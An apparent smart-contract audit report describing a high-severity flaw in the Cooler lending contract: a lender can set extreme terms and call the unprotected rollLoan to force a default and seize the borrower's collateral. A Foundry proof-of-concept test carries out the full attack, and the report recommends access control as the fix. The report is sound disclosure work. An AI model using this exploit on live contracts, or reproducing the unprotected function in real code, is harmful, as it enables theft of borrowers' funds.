Immense Syrup Shetland

high

# Cooler.sol#provideNewTermsForRoll() - A malicious lender can force a loan to default if he sets a very high interest rate for the loan, then roll it, after that the borrower can't repay it.
## Summary
A malicious lender can force a loan to default if he sets a very high interest rate with `provideNewTermsForRoll` for the loan, then call `rollLoan`.

## Vulnerability Detail
The `lender` of a loan can force a default of a loan if he wanted to, through `providenewTermsForRoll` then `rollLoan`.

The issue occurs because `rollLoan` has no access control, meaning anyone can call it.

Let's imagine the following:
1. Bob (owner/borrower) calls `requestLoan` for some tokens.
2. Alice (malicious) approves his loan and calls `clearRequest`.
3. Alice calls `provideNewTermsForRoll` with an insanely high `interest_` (`1000e18` for example).
4. Alice calls `rollLoan` since there is no access control on the function. `rollLoan` will update `loan.amount` with the `newDebt`, which uses `interestFor` to calculate the `newDebt`. `interestRate` will use the `loan.request.interest` which Alice just set to `1000e18` with `provideNewTermsForRoll`.
5. Bob then attempts to repay his full loan, but he won't be able to since `loan.amount` is a very big number and `decollateralized` will always return `0` as it is calculated as such: `(loan.collateral * repaid_) / loan.amount` (this part will be important in the last step of the example). 
6. Even though `decollateralized` is 0, the `debt` tokens will be sent to Alice, meaning she will get her `debt` tokens back.
7. Lastly, since Bob can't pay back the loan, the loan will default. Alice then calls `claimDefaulted` and retrieves Bob's collateral.

Alice can also front-run Bob's `repayLoan` to basically to the same thing.

P.S:
This isn't a problem in `Clearinghouse` as the new terms are constants and this can't occur there, but for any `Cooler` that doesn't work directly with the `Clearinghouse` this is an issue.

## POC
Paste the following in `src/tests/Cooler.t.sol` and run `forge test --mt testLenderChangeLoanParametersThenRollTheLoan -vvvv`.

```javascript
function testLenderChangeLoanParametersThenRollTheLoan() public {
        // Setup
        address alice = address(10);
        address bob = address(20);
        deal(address(debt), alice, 10 ether);
        deal(address(collateral), alice, 10 ether);
        deal(address(collateral), bob, 10 ether);
        // Alice's tokens before the attack
        uint256 aliceStartDebtTokens = debt.balanceOf(alice);
        uint256 aliceStartCollateralTokens = collateral.balanceOf(alice);
        uint256 bobStartCollateralTokens = collateral.balanceOf(bob);

        vm.prank(bob);
        Cooler bobCooler = Cooler(coolerFactory.generateCooler(collateral, debt));

        // More setuo
        vm.startPrank(bob);
        debt.approve(address(bobCooler), type(uint256).max);
        collateral.approve(address(bobCooler), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(alice);
        debt.approve(address(bobCooler), type(uint256).max);
        collateral.approve(address(bobCooler), type(uint256).max);
        vm.stopPrank();

        // Bob creates a loan request
        vm.startPrank(bob);
        bobCooler.requestLoan(1 ether, INTEREST_RATE, 1e18, DURATION);
        vm.stopPrank();

        // Alice clears the request and pays 1 debt token
        vm.startPrank(alice);
        debt.approve(address(bobCooler), 10 ether);
        uint256 loanId = bobCooler.clearRequest(0, true, false);

        // Then Alice calls provideNewTermsForRoll then immediatly rolls the loan
        bobCooler.provideNewTermsForRoll(loanId, 1000e18, 1e18, DURATION);
        bobCooler.rollLoan(loanId);
        vm.stopPrank();

        // Bob attempts to pay back the full loan
        vm.startPrank(bob);
        bobCooler.repayLoan(loanId, 1 ether);

        // Alice now has the same amount of debt tokens that she started with
        assertEq(debt.balanceOf(alice), aliceStartDebtTokens);

        // Time passes and since Bob can't pay his loan, it defaults
        vm.warp(block.timestamp + 61 days);

        // Alice claims the defaulted loan
        bobCooler.claimDefaulted(loanId);
        assertGt(collateral.balanceOf(alice), aliceStartCollateralTokens);

        // Bob has no debt tokens and he now has less collateral tokens than he started off with
        assertEq(debt.balanceOf(bob), 0 ether);
        assertLt(collateral.balanceOf(bob), bobStartCollateralTokens);
    }
```

## Impact
Lender can force a default on a loan, get his `debt` tokens back and also retrieve the `borrower's` collateral tokens. Effectively, not losing anything from the trades.

## Code Snippet
https://github.com/sherlock-audit/2023-08-cooler/blob/6d34cd12a2a15d2c92307d44782d6eae1474ab25/Cooler/src/Cooler.sol#L282-L300
https://github.com/sherlock-audit/2023-08-cooler/blob/6d34cd12a2a15d2c92307d44782d6eae1474ab25/Cooler/src/Cooler.sol#L192-L217

## Tool used
Manual Review
Foundry

## Recommendation
Add access control to `rollLoan` so only the `owner and Clearinghouse` can call it.